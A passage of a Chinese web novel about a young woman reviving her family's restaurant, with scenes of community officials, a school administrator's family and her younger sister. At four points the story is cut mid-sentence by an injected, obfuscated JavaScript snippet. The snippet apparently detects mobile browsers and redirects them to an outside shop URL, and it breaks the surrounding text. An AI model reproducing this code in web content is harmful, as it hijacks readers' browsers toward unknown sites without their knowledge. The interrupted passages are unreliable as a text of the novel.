方媛媛笑出声:“除了你家的馆子,哪还有我看得上的饭?你放心吧,我说了帮云阿姨就一定帮到位,毕竟这都是我社会实践报告和论文的组成部分啊。” 云漪松了一口气。 能遇见方媛媛这么好的志愿者,真的很幸运。 她连忙拉开两张椅子:“今天要吃什么?我上了几道蒸菜,淡口的,可以尝尝。” 方媛媛却伸出食指晃了晃:“先别急,人还没齐呢。” 没多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958376|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,一个短发齐肩的中年女人犹豫着推开门。 “周主任?”云秀珠讶然,“好久没见了。” 周丽萍在方媛媛身边坐下,熟络开口:“是啊,上次见你还是……”和罗富闹离婚闹到社区来。 周丽萍适时闭了嘴。 “是我邀请周姐来的,我跟她说云记超级无敌巨好吃,好不容易才说动她!” 周丽萍前几天才笃定认为老一辈的做生意都那样,就算换了个老板也无济于事。 昨天方媛媛拍着胸脯跟她打赌,她才松了口决定尝一尝。 今天的点菜全权交给周丽萍,为了保险起见,她点的都是耳熟能详、有手就会的菜,万一厨艺不好,她也勉强能吃几口,不至于太尴尬。 蒜苗回锅肉、青椒土豆丝、清炒芥兰,还有一道新上的蒸菜。 方媛媛早早就握紧筷子,等着尝新品了。 今天她赶在外国语附中放学前,终于不用和那群饿死鬼投胎的高中生抢饭了! 菜一道道端上来,每一道都出乎周丽萍的意料。 尤其是这道渣辣椒蒸肉。 渣辣椒,是德市一种特殊的辣椒做法。用各种香型的辣椒,烫熟后碾成碎末,加入米粉、白酒和调味,封入坛中发酵,时间越长,越是鲜辣入味。 昨天云漪在柜子里发现了这么一坛云秀珠早早腌制的渣辣椒,简直如获至宝。 朴素土碗里,赤红的渣辣椒堆成一座火山。红白相间的五花肉漂亮极了,切成寸许的厚片,在红艳艳里半埋半露。 皮边被煎得金黄,裹上一层红酱油,一整碗暖色调像开了美味滤镜,让人食欲大开。 周丽萍用筷子轻轻翻动,那座火山便轰然倒塌,发酵辣椒特有的辛香不容分说蔓延开来。 夹起一块肉,肉片早已酥烂,颤巍巍的。丰腴部分晶莹如冻,瘦肉却丝丝分明,一入口,被火山浸染透彻的咸、辣、酸、鲜层次分明,纷至沓来。牙齿轻轻一合,肥肉便化作一口滚烫丰盈的汁水,没有半分腻味。 周丽萍只咬了一口,就愣在了原地。 她上了年纪,平日里也爱吃些耙软好嚼的蒸菜。可外面的蒸菜要么寡淡无味,要么调味重到唇舌发干。 可云记这碗蒸肉,既能吃出原始的肉香和辣椒香,又不觉单调。 这么一对比,周丽萍只觉得之前吃过的大大小小的蒸菜都是小孩子过家家。 她抬头看了一眼,满脸胶原蛋白的云漪穿着围裙,一边往每张桌子上放菜单,一边轻声哼着歌。 这生意……难不成真得让年轻人来做? 看见周丽萍吃着吃着愣了神,方媛媛连连拍手,一副胜利者姿态:“周姐,打赌是我赢了,你可不能食言!” 下周三,市里面有人来长平社区调研,周丽萍正为在哪里请客烦恼。 鸿宴酒楼太铺张,普通饭馆又太掉价。 昨天方媛媛提出云记,周丽萍是有那么一瞬间动摇的,毕竟云记是长平最老资格的饭馆,也符合市里那群人的调调。 可云记的味道…… 任方媛媛怎么说破嘴皮,她也不肯相信一家饭馆能一夜之间咸鱼翻身改邪归正。于是二人便打赌,只要有一道菜不能满足周丽萍,方媛媛接下来加班一周;反之,就定下云记。 周丽萍愿赌服输。 13. 虾羹汤 “什么?请客?”云秀珠擦拭餐车的手震了震。 要知道,云记在她母亲和姥姥那一辈可是享誉村里村外的饭馆,谁家出了个大学生、谁家结婚办喜宴,都得来云记问上一问。 可后来,云记交到罗富手上后,他倒是也没少张罗过聚会宴席,可那都是些打着吃饭幌子的事,没人在意桌上几荤几素、几蒸几扣,只要烟好抽、酒好喝、人好看就行。 云秀珠早就受不了罗富这样糟蹋云记,却鼓不起勇气反抗。 后来,别说宴席了,就连一家人周末出门下个馆子都轮不上云记。 时隔多年,云记竟然又接到了这样的大单,还是市里来的人! 云秀珠的脸上喜形于色,一点都藏不住。 周丽萍埋头风卷残云,抽空说了句:“我到时候问问他们忌口的爱吃的,让媛媛发给你,云漪你看着发挥就行。” “好呀,不过……”云漪看着妈妈激动又不肯表现的样子,佯装为难,“我没做过这种单子,不知道上哪些菜合适……妈,你懂得多,你来给我写个菜单吧。” 云秀珠微微愣住,眼底流露出欣喜,嘴上却还是:“谁说让我什么都不用管的?这么快就打脸了?” “我毕竟是新官上任嘛,肯定要向您这种老前辈讨教讨教的。” 云漪眨巴眨巴眼。 在妈妈面前,哪有什么打不打脸,能让她开心比什么都重要。 “你啊……”云秀珠点点她的鼻头。 “那行,这件事就拜托你们了,媛媛你跟进一下。”周丽萍擦擦嘴,一本正经地说完,然后……“嗝。” 方媛媛:“……” 周姐,真正的打脸在你这里吧。 周丽萍不仅把碗里的米吃得一粒不剩,都打饱嗝了还要尝尝云秀珠的蛋烘糕,愣是和一群穿校服的高中生排进了一个队伍里。 方媛媛憋着不敢笑,只能撇头不看她。 云漪用手肘抵了抵她,歪着头,一双大眼睛亮亮的:“媛媛姐,谢谢你。” “你怎么又谢一遍,都说了云阿姨——” “我是说,”云漪打断了她,“周主任这件事,谢谢你。” 云漪不傻。 周丽萍在社区工作这么多年,见的人遇的事多了去了,肯定也没少了解云秀珠罗富的事情。社区工作者天天有麻烦自然也最讨厌麻烦,关系这样复杂的云记,方媛媛怎么可能只用随口几句话说动她。 她在其中做出的努力,远远不像她说的那样轻飘飘。 方媛媛连忙指着她,一副“你别靠近”的模样,说话都有些磕巴:“别别别,你别整得这么矫情啊!我是学社会学的,现在做的都是为了我的研究!再说了,你做的饭这么好吃,就该让大家都尝尝!” 云漪压住上翘的嘴角,顺着她的胡扯往下说:“嗯嗯嗯,都是为了研究,那方博士研究出哪道菜最好吃了吗?” “那肯定还是酸辣——云漪!你耍我!” 云漪笑嘻嘻的,一个扭腰就躲过她的围剿,闪身进了厨房。 不得不说,有了云秀珠的分忧,偶尔还有方媛媛大大方方热情洋溢地安利菜品,云漪的确是轻松多了。 菜单品类少,凉菜和热菜大多都可以一锅出好几盘。而今天上的几道蒸菜,云漪则早早就码好了土碗填满了料,只等一起上锅蒸熟即可。 来店里的又基本上都是学生,一个个生怕麻烦别人,所以米饭自己添、饮料自己打、付款二维码自己扫,省心得很。 晚上打烊后,云漪和云秀珠围着柜台,一脸肃穆地按动计算器,目光灼热得像要把桌子烧穿。 “六千……八千……一万三……” 云秀珠难以置信地瞪着显示屏上的数字:“三天赚了……一万三?” 在云漪接手前,云记一个月才能堪堪赚一万多,这还只是总收入而不是利润。 云漪也长长舒了一口气:“这三天考察期,算我通过了吧?” 何止是通过。 简直是青出于蓝而胜于蓝。 虽然云秀珠的心里已经完全认可了云漪成为云记老板,可实实在在的数字真的浮现在她眼前,还是觉得不可思议。 她以为云漪只是不想让她受累,所以才在大好年纪早早扛起了赚钱的重担,从头开始摸爬滚打吃一堑长一智,慢慢成长为一个成熟的大人。 ……但现在看来,倒像是她耽误了天才老板赚钱? 她侧目,谨慎观察女儿的神色。 明明瘦弱得有些营养不良,可数钱的手指却动得飞快又有力,隐约能看见青筋。一张骨骼分明的巴掌脸上,黑亮的大眼睛格外显眼,盯着账本一眨也不眨,好像生怕钱不小心飞走了。嘴角更是埋着压抑不住的笑意,左脸浅浅的梨涡都深了几分。 ……这发自内心的由衷模样,可一点不勉强啊。 而云漪,浑然不知她敏感多思的老母亲已经在内心演完了一出家庭伦理情感剧。 她甩了甩发酸的手臂,又捏了捏僵硬的手腕。 她的魂魄穿进末世游戏里,可身体还是这副没长进的身体,这三天切丝、颠锅、调味,她感觉手都要断掉了,全靠一身正气和意志力扛着。 这样下去可不行,这具身体也得好好调养锻炼一下。 她看着账上的余额,比在末世翻出一个保质期还剩三天的罐头都兴奋。 丰收,这就是丰收的喜悦啊! 三天一万三,一个月就是十三万,一年就是一百五十六万。 妈妈的病情有得控制了,姥姥的菜田有得扩建了,妹妹的学校也有得继续读了! 说不定还能攒下钱来付个首付,从那栋三十多年房龄的筒子楼里搬出来,买一套有安保有绿化的电梯房,从此不用再怕罗富上门骚扰,闲来无事还能一家人吃完饭遛遛弯,多是一件美事啊! 虽然算去成本、翻新店铺和日常开销,目前云漪手头也攒不下来几个钱,但是! 云漪嘿嘿一笑—— 未来!它是光明无限的啊! - 与此同时,育才嘉苑小区。 周胜男一一取出打包的菜肴,上锅复热。 她按照云漪教她的,提前给油柑拍碎了泡盐水,再用清水冲洗干净后,揩揩手点开平板上的小红书,输入【油柑汁怎么榨最好喝】。 搜索结果页面寥寥几条,不是吐槽油柑难吃就是哭诉喝了之后一泻千里的。 忽然,一条八百多点赞的视频映入眼帘——《夏日特调白玉油柑秘方被我搞到手了!!》 预览图里,一双骨瘦如柴的手正在掰苹果。 周胜男:“……” 这手,这桌子,这背景……怎么好像是今天云记那个小老板? 点进视频,清脆明朗的声音立刻钻入耳蜗:“按照我的步骤处理过的油柑不需要放太多糖,苹果油柑一比一, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958377|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再加上二三十克的冰糖,就不会有涩口的感觉了……” 她左手取油柑,右手掌刀利落地取核,一秒一个全然不拖沓,赏心悦目极了。 再加上云漪的吐字很清晰,就算没有字幕也能听清,周胜男不知不觉就看了下去。 直到门外响起指纹锁的提示音,她才缓过神来。 匆忙按照视频里的比例榨好汁,周胜男把四道色香味俱全的菜肴和白玉油柑一同端上桌。 “我去,今天吃这么丰盛!妈,你这是去新东方进修了啊!”孔喆直接把书包往沙发上一扔,就扑到餐桌前,“回锅肉、鸡米芽菜、辣椒蒸肉……这个汤是什么,闻着也太香了!” “虾羹汤。”周胜男一把打落他的爪子,“去洗手。” 孔宇拉开椅子坐下,也忍不住嗅了两口:“我老婆十年不开火,一开惊十年啊。” 周胜男被这对馋鬼父子逗笑了,严肃纠正:“本人志在教育事业,暂时无心学习烹饪,拍马屁也得拍对地方。这是我在小喆学校附近的馆子里打包的,我今天中午吃的也是她家的,特别好吃。” “是吗?”孔宇不置可否,添了一碗虾羹汤。 细白的热雾里,明笋、海带、瘦肉、大脚菌……各种食材丝丝分明,在汤里舒展开来。 勺子舀起时,汤汁顺着白瓷缓缓滑落,浓稠却不发黏。送入口中,第一口是浓郁的鲜。轻轻一抿,蛋丝柔软,笋丝脆生,肉丝细嫩,在嘴里层次分明。再嚼两下,海带和响皮的滑弹感涌了上来,又润又香。 咽下去时,这么多样食材组合在一起却不会腻味,白胡椒带着微辛,几滴麻油淡淡收尾,画龙点睛。 一碗见底,胃暖了,嘴里都还留着鲜味。 “这汤……”孔宇惊艳,“像我们小时候在老饭馆喝的。那会儿厨师都还良心,没有那么多科技,就喝一口食材原始的本味。” “好吃吧?我今天中午尝了两道菜也是这个反应。” 孔喆换好睡衣洗好手,添了一碗饭后乖乖巧巧坐下,还没动筷先动了嘴:“妈……我有件事情想让你帮帮忙。” 周胜男甩过去一个眼刀:“我就知道你今天这么安静肯定没憋好事,说吧。” 孔喆正襟危坐,老老实实把事情讲了一遍。 “就是这样,这个老板的妹妹辍学了两年,九月想继续读书。” 果然不出孔喆所料,周胜男劈头盖脸就是一通教育:“我出差前怎么跟你说的?让你老实吃食堂,食堂好歹有营养师把关。谁让你去外面吃那些乱七八糟的小店的,还跟人家老板交上朋友了?你年纪小,没出社会,不懂那些做生意的人都只是想从你身上获利,你以为你在学雷锋做好事,实则人家把你当冤大头看!” 孔喆:“……” 他低下头,咬着筷头不说话了。 唉,看来他注定帮不了老板姐姐的忙了……真不怪他不够义气,实在是家有严母…… 孔喆刚惹了亲妈暴怒,此时此刻只能当好一只缩头乌龟,安安静静夹起一块回锅肉。 “……咦?” “咦什么咦,食不言寝不语!” “妈,你先别急着凶我。”孔喆咽下肉片,“这些菜,你是在云记打包的吗?” 这味道,孔喆吃一次能记一辈子,绝对不会错。 “是又怎么了……等一下,”周胜男突然叫住他,“难不成,你刚才说的是……云记老板的妹妹?” 14. 红糖凉糕 “是啊,就是云记。” 周胜男一脸狐疑。 哪有这么巧的事情,儿子前脚被美食折服,当妈的后脚就也掉了进去? 难不成,是云记老板早有预谋? 不对,这也不可能,她就是一个教导主任而已,又不是什么了不起的大官。再说了,她了解自己的儿子,在学校里都巴不得没人知道他妈是教导主任,更不可能告诉陌生人。 ……说白了,还是一家人口味太一致,都被云记拿捏了。 周胜男是信一些虚无缥缈的道理的,比如多行好事必结善果,云记那对婆孙的确善良细心,这或许就是她们的命中注定吧。 见周胜男陷入沉思,孔喆又夹了一块蒸肉放进她碗里,一脸谄媚:“你看,连老妈你也觉得这家菜好吃,我抛弃食堂去云记也是合理的嘛。” 周胜男还是没说话。 孔喆慌了,他没想到这个事情竟然这么触怒老妈,一个劲儿给孔宇使眼色。 孔宇拍拍他,示意他冷静,转头柔声道:“老婆啊,儿子他只是——” “孔宇,你们教育局现在辍学复读生还是走的老一套流程么?” 孔宇:“……” 孔喆:“……” “是、是啊,不过得确认一下这个孩子的原学籍还在不在。” “行,我明天去教务处看看下学年的复读名额还有没有。孔喆,”周胜男点着下巴,思路清晰地安排,“一会儿我给你写几个电话号码,你让云记老板咨询一下需要的资料。另外,附中这边是会有资质测试的,记得提醒她别让妹妹落下学习。” 孔喆连忙记下号码。 有教育行业的老妈老爸就是好,省去了太多弯路,不然老板姐姐自个儿找人问,指不定要被踢多少回皮球呢。 不过…… 孔喆眯着眼,上下打量他一反常态的老妈:“你这个态度变化,是不是有点太快了?” “咳,小孩子懂什么,这叫学雷锋做好事,帮忙问一问又不会少块肉。” “……你胡扯!刚刚你还说这是冤大头!” 周胜男自认没理,夹起一大块回锅肉往他嘴里一塞:“吃你的饭,这么好吃都堵不上你的嘴!” - 第二天清晨,云漪照例早起。 正在熬粥,就听见另一间卧室也传出了动静。 春华蹑手蹑脚关上门,见她张嘴,朝她嘘声:“你妈妈还在睡呢。” 云漪压低声音:“姥姥,你这么早起做什么?今天不是不用去收菜么?” “昨晚上菜贩子说余甘子卖完了,有几个老板还想收。别家种的都少,就我山头上多一点,我得早点去摘,免得隔壁马老头那群人趁夜给我偷了。”春华一边用清水擦脸,一边嘀咕,“……这东西啥时候这么吃香了?” “吃香是好事呀,你今天提高一点价格,别让人家说两句就便宜了。” “要得要得,是要涨价的,头茬果剩得不多了。” 云漪给她和春华一人添了一碗粥,又把给云秀珠煮的玉米和鸡蛋温在锅里:“要是他们还压你价,你就给我打电话,我来跟他们碰一碰。” 现在的奸商真是不讲良心,进价压得利润微薄,人越老骗得越狠。 囫囵吃完早餐,云漪穿好发黄的运动鞋,扎了个大光明马尾,慢跑前往农贸市场。 市场里,各家铺子刚刚开张,好菜好肉被整整齐齐摆了出来。 云记的蔬菜大部分是春华供应的,云漪今天也只是来挑肉的——她做的荤菜格外受欢迎,云漪甚至想挂一个“荤素搭配营养加倍”的温馨提示在店里。 云漪走到一家肉铺前,见肉卖相还不错,问道:“前腿肉怎么卖?” 胡子拉碴的老板见她一副清澈大学生模样,比了个“2”。 “二十?一公斤?” “一斤。” 云漪皱眉,冷眼看着他:“猪肉从两年前就没高于过15元一斤。”说罢,转身就走,留下老板在后面嘟嘟囔囔。 她又走到另一家肉铺前,老板热情招呼:“美女,来看看我家的,童叟无欺。” 云漪问了两句,价格倒是合适,只不过……她看着老板推来的猪肉,被顶上红色的灯光笼罩着,显得格外红润诱人,完全失了本色。撇开灯光的滤镜,肉质如何可见一斑。 她毕竟是开饭馆的,对食材的要求比自家炒菜高得多。 云漪接着往前走,总算在拐角处看见一家肉质鲜嫩还明码标价的肉铺,只不过是在路边支的流动小摊。 老板一身干净利落,围裙和口罩也齐全,正在给白花花粉嫩嫩的肉块盖纱布。 见有人来了,笑着招呼:“妹妹,买点肉吗?” 云漪隔着塑料袋抓起一块肉,触感饱满、回弹迅速,纹理清晰而细腻,味道也干净。 “称点前腿和五花。”云漪摆弄着手写价格牌,好奇搭话,“难得在菜市场见到明码标价的。” 老板一边宰鸡,一边回答:“还不是因为我女儿,她在外地工作,嫌外卖又贵又难吃想学着自己做饭,结果啊,去菜市场被坑了好多次……” 云漪想到刚才那两个老板,深有体会地点点头。 有些人是这样的,不仅坑骗老的,还要哄骗小的,没有生活常识的人一不小心就被忽悠了。 “她现在都不敢去菜市场了,宁愿在超市和线上APP买贵一点的……唉,每次我看见你们这些来买菜的年轻女娃子就想到她,所以啊,也学着超市挂个牌子。” “像你这样,生意应该不错吧?” “嗐,现在来菜市场买菜的年轻人这么少,哪能因为我明码标价就来生意?” 云漪四下观察一番,这家肉铺位于深处,也不是固定摊位,如果不是像她一样一家家询问过来,的确不好发现。 云漪抿抿唇,思索后开口:“你接受短期供应么?” “接受啊!只不过我家刚开始搞养殖,现在产量还不是很大……” “正好,我目前的需求量也不是很大,一天四十斤左右,可以么?” “你、你要四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958378|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十斤?”女人一脸震惊。 这小姑娘看着年纪轻轻,她一开始还以为是来帮家里买肉的,谁知道张口就是四十斤?她以前接触的不少小餐馆一天也就要个二十来斤啊? 再次确认小姑娘没有在开玩笑之后,她给家里打了个电话,暂时确定了一个价格,比云漪直接在农贸市场零售购买便宜了20%左右。 云漪的需求量毕竟不高,20%已经是一个相当可观的数字了,等以后要的多了再谈进一步价格也不迟。 “我叫云漪,云朵的云,涟漪的漪。”云漪和她交换了联系方式,“晚点我把清单发给你,我们再详谈。” “好,好!我姓钱,钱玉聪,我家就在附近的清水村,你要是想看看养殖场,随时欢迎你来!猪啊牛啊鸡啊兔啊什么的,我都有!” 养殖场她肯定是要亲自去检查一番的,不过并不急。 钱玉聪这个做派,云漪是愿意相信她的。 更何况,云漪谈的只是短期供应,一旦肉质不如预期完全可以及时止损。 她可是从末世磋磨过来的人,想和她耍心眼,还得修炼修炼^^ 忙活了一天,云漪算好今天的账。 现在云记基本上能保持盈利,虽然净利润不如快餐店、火锅店,但也是稳步上升。照这个势头下去,再来一个星期或许云记就能有富裕的资金新增一个卖蛋烘糕的小窗口了。 云漪心情愉悦地合上账本,拎了一盒粉末回家。 春华以为她带了没卖完的菜,正想放进冰箱,掂了掂才发觉不对劲:“一一,这是啥哦?” “熟石灰呀。” “你带这个回家做啥,家里要抹腻子吗?” “姥姥,你也太看得起我的手艺了吧。”云漪忍不住笑出声来,“再说了,我们家这个毛坯房哪还需要抹腻子?” 她把熟石灰全部倒入盆里,加满一锅纯净水,在凉水里细细揉搓,充分沉淀后取走上层清水。 云漪眨眨眼,温馨提示:“你忘啦?明天晚上小葵就回家了,她夏天最喜欢吃红糖凉糕了。” 红糖凉糕是发源自川省的小吃,盛夏来一碗,香甜沙软,清凉消暑。 云漪把熟石灰滤出的清水倒入锅中缓缓煮沸,而后撇去浮沫。又抓了一把白嫩的大米粒,淘洗干净后碾打成米浆。再用长柄木勺一边搅动一边倾倒入米浆,随着水面的轻轻荡漾,细腻的米粉越发散发出清香。 渐渐的,原本浑浊的锅水变得莹润透白起来,像一整块汉白玉。 等待米浆放凉时,云漪又搬出老家熬制的手工红糖,切下一小块。自家做的红糖比外面卖的要好了太多,带着独特的焦糖味,甚至散发了一丝淡淡的花生香。红糖和清水按照大约6:1的比例碾成细腻的翻砂红糖,呈现出浓稠的琥珀色,绵密的糖沙颗粒隐约可见,更衬得像是披了一层冰皮似的,漂亮极了。 云漪在其中一碗凉糕上浇了一勺,仿佛裙摆滑落一般。 她尝了尝,甜度刚好,口感极佳。 明天云葵回来了,一定爱吃。 15. 大蒜烧雅鱼 云记离外国语附中不远,每天都能听见课间操的音乐。 云漪一点也不觉得扰民,对她来说,能听见反而是一件好事。 比如现在,下课铃刚刚响起,她就直到要起身系上围裙,准备忙活了。 今天是周五,不少住校生要回家,云漪考虑到客人免不了要少一些,备好的食材也比昨天少。 万万没想到,客人非但没有变少,反而还多出了校服以外的服装—— “妈,这家真的可好吃了,你信我!” “你爷爷还说今天给你做鱼吃,结果你非要拖着我们来这种小店……” “爷爷做鱼一股腥味,我才不吃!” “臭小子,老子给你做鱼你还挑!” 一家人打打闹闹进了店,穿校服的学生是顿顿都来光顾云记的熟面孔,云漪朝他点了点头。 “怎么的,你没少来啊,都跟人家服务员打上招呼了。” “什么服务员,那是这家的老板兼厨师!” 瞬间,一家子大人都投来狐疑的目光。 这种眼光云漪见得多了,已经完全掌握了如何自动过滤,反正等她们动了筷,就一切尽在不言中了。 这一家五口点了七道菜,点的时候还在吐槽儿子的品味:“就这些菜回家也能吃啊……我看你就是在家被惯坏了,非得尝尝外面的苦。” 待菜一道道上齐,她们渐渐不说话了。 云漪端上最后一道大菜,也是云记目前唯一的鱼类——大蒜烧雅鱼。 这是德市的经典鱼菜之一,鲜香麻辣,口味丰富,把川菜的特点展现得淋漓尽致。 比脸盆还大的青花碗里,红彤彤的汤汁像一潭火辣的湖水,盛着绿色的葱段、殷红的糍粑辣椒、乳白的独头大蒜和被炸得金黄焦脆的雅鱼块。 鱼皮吸透了佐料的香味,脆生生酥麻麻的,鱼肉嫩滑到一抿就碎,肉质鲜嫩、汁水丰盈,一口下去便被香浓的蒜味包围,随后是醇厚的酱香和酒香在交织。 经过大火的炙烧,不止是鱼块,就连大蒜也软嫩绵密,上头的辛辣已经在沸煮里释放,均匀地洒在每一口汤汁里,只剩下奶油般的顺滑和淡淡的蒜香。 川菜讲究调味和口感,能参透这一点的厨师必定不容小觑,可多的是初学者和门外汉照猫画虎,菜是菜、料是料。 在德市这种以吃为乐的地方,上了年纪的人多少算是老饕。 老饕老饕,饕到最后还是回归了家常,不再追求外面的山珍海味。 可这一盘大蒜烧雅鱼,倒是让她们回忆起了以前一到周末,几家人就开着小小的、破破的面包车钻进附近的小镇小地方,就为寻觅那一口最正宗的味道。 大人翻开鱼头肉,找到了记忆里那根像大宝剑一样的鱼骨。 一切都是从前的味道。 学生还在“怎么样怎么样好吃吧”地问,那一桌大人倒是都没空理会他,趁着他多嘴的功夫又夹了几块雅鱼,惹得学生大喊:“你们这些阴险狡诈的大人!” 云漪笑了笑。 她从小吃着云家传了三代的手艺长大,培养出来的美食审美也是最原始最正宗的。创新要有,可最经典的那一套传统口味更不能丢。 很开心有这样多的人吃懂了她的菜肴。 周五的晚上,学生是少了一些,但净是一家几口,也不像学生一桌就点两三道菜,因此云漪的工作量反而大了起来。 云漪刚放下两盘菜,又端起六个空盘,这时还听见门口响起询问:“老板,这桌算一下多少钱!” 最后一盆蛋烘糕卖完了,云秀珠拾掇拾掇走到柜台,在一堆账本下翻找计算器:“稍等,我给您算一下。” 一个好厨子不一定是好老板,一个好老板也不一定是好会计。 云秀珠算账一向慢吞吞,没有计算器简直如履薄冰。 “快点嘛,我们买了电影票,还急着赶到商场去。”客人略有微词,“你们要是没有专门收钱的,就搞一个小程序下单支付的嘛,这也太浪费时间了。” “不好意思,我女儿在厨房忙着,我又不太会算账……” “晓得了晓得了,搞快一点。” 突然间,云秀珠手边的点菜本被夺走,只短短几秒,一个脆生生的声音响起:“一共248元,这边扫码。” 扎着低麻花辫的女孩一边拿着本子,一边低头对照着菜单上价格。 “小葵?”云漪听见动静,探出头,“你怎么跑云记来了?姥姥不是在家等你么?” 云葵把手里的袋子放下,挠挠脸颊:“姥姥被菜贩子围着谈生意呢,听说你把云记搞得风生水起,我就想来看一看。” “你也真是的,好不容易回家了就好好休息啊。你来了的话——” “哎呀姐,我不累,你别说什么让我在一边看着这种话。” “……我什么时候要这样说了?”云漪盯着她,似笑非笑,“我是想说,你来了的话就坐这里算账,先别回去了。” 云葵:“……” 不是说长姐如母吗,怎么轮到她就变成长姐如顶头上司了! 不过,她倒是更习惯这样的姐姐。 以前姐姐总是什么事都自己扛,又怕妈妈累着又怕姥姥摔着,还怕她这个妹妹不开心。她提出要去打工的时候,也是姐姐反对得最厉害,好几次要把她从大姨家带回来。 明明她也只比云漪小五岁,可云漪却总是背负着“长姐”的重担,她知道姐姐是为了她为了这个家,可是…… 有的时候,云葵甚至会感到一丝压抑。 她虽然还没有成年,但也不小了,她不想只是家里唯一一个处处享受的孩子。 这一次回来,云漪的长姐包袱倒是……比以前轻了不少? 奇了怪了,她这一回去大姨家也就不到一个月啊? 怎么回来之后,姥姥反过来压制菜贩子了、妈妈甘愿离开灶台打下手了,就连姐姐的性格都变得开朗洒脱了不少? 云葵心里嘀咕,手上还是老老实实拿起本子,比对着每一桌的桌号快速心算。 她的算术本来就好,在文具店锻炼了一年多更是精进,比云秀珠一个个数字按动计算器还要快。 不仅快,还能分心顺便点几个单: “姐——三份回锅肉,三份手撕鸡,一份蒸肉,一份虾羹汤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958379|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虾羹汤不要香菜!” 把钱都算明白后,云葵半趴在柜台上,从带来的袋子里扒拉出来一个透明饭盒。 她打开,里面是冰镇了一夜的红糖凉糕。 冰凉柔软的口感像果冻,却又比果冻更扎实一分,带着石灰水散发的淡淡的碱味。翻砂红糖里的细沙在唇齿间细细碾磨,甜而不腻,仿佛小时候每次去看医生,妈妈安慰哭闹的她时给的那一颗糖。 云葵一时愣神。 晚上回到家,听姥姥说现在云记是云漪在管理,云葵还以为她只是因为恰好学的经济学所以负责经营云记,而掌厨还是云秀珠。 刚才她进入云记,看见云漪忙里忙外的身影和食客一脸满足的模样,云葵也只是觉得,或许是饿了一下午的学生要求太低。 直到她尝到这一口红糖凉糕。 姥姥说,这是云漪昨晚特地为她亲手熬制的。 她从来没吃过这样香甜清爽的凉糕。 姐姐真的好厉害。 明明已经闯出去读大学了,还愿意回来和柴米油盐酱醋茶作伴,还做得这么好…… 云葵含着铁勺,怔怔地望着前方。 忽然,一只手在她眼前晃了晃:“……你好,听得见我说话吗?” 云葵回过神:“啊?” “我说,能不能帮我叫一下老板姐姐,我有事找她!”孔喆背着书包,气喘吁吁的,“本来昨天就想来的,结果一堆小考,我连饭都只能去食堂对付两口!” “哦,好。”云葵推开厨房门,唤了云漪一声。 过了五分钟,云漪才端着又一道大蒜烧雅鱼出来。 孔喆迫不及待递上一页纸:“这是我妈整理的电话号码,学籍科的、教务处的、社区办的……都有,你等上班时间打电话问问复学需要的资料。对了,我们学校教务处周六也有人,高二周六不放假,所以明天就能联系。” 云漪捏着那页纸,激动地咧开嘴,有些干燥的嘴皮都险些破开口子:“孔喆,真的太感谢你了!” “没、没啥,我也只能帮你这么点了。” “已经很多了,我不用像无头苍蝇一样乱闯了。也谢谢你妈妈,有机会你们来店里,我请客。” 孔喆怪不好意思地揪着书包带。 一旁围观全程的云葵咬着铁勺,渐渐歪头,满头雾水:“……姐,你要回高中复读啊?” 云漪:“……” 孔喆:“……” 刚才只是匆匆一瞥,这时孔喆的目光才落到云葵的脸上。 这张脸和云漪并不相似,云漪是棱角分明的瓜子脸,云葵是圆润钝感的鹅蛋脸,但却都有着一双黑亮的眼睛,写满了倔强。 他终于反应了过来:“啊,你就是那个辍学两年要复学的妹妹!” 咣当一声,手里的铁勺跌到地上。 “……我什么时候说要复学了?” “你成绩那么好,不读书太可惜了。外国语附中资源好又离家近,下学期你就——” “云漪,”云葵的声音很平,却带着一丝颤抖,像质问、像拷问,也像石子投入深潭,“我什么时候,说过我想复学了?” 16. 牛乳绿豆冰 云葵双拳紧握,视线死死贴着地面,向下的嘴角轻轻颤动。 她的声音不大,但还是引来了诸多目光。 云葵的头埋得更低了,满脸通红地跑了出去。 云漪把围裙往桌上一塞,连忙追了上去,只跑了不到五十米就一把抓住云葵的手肘。 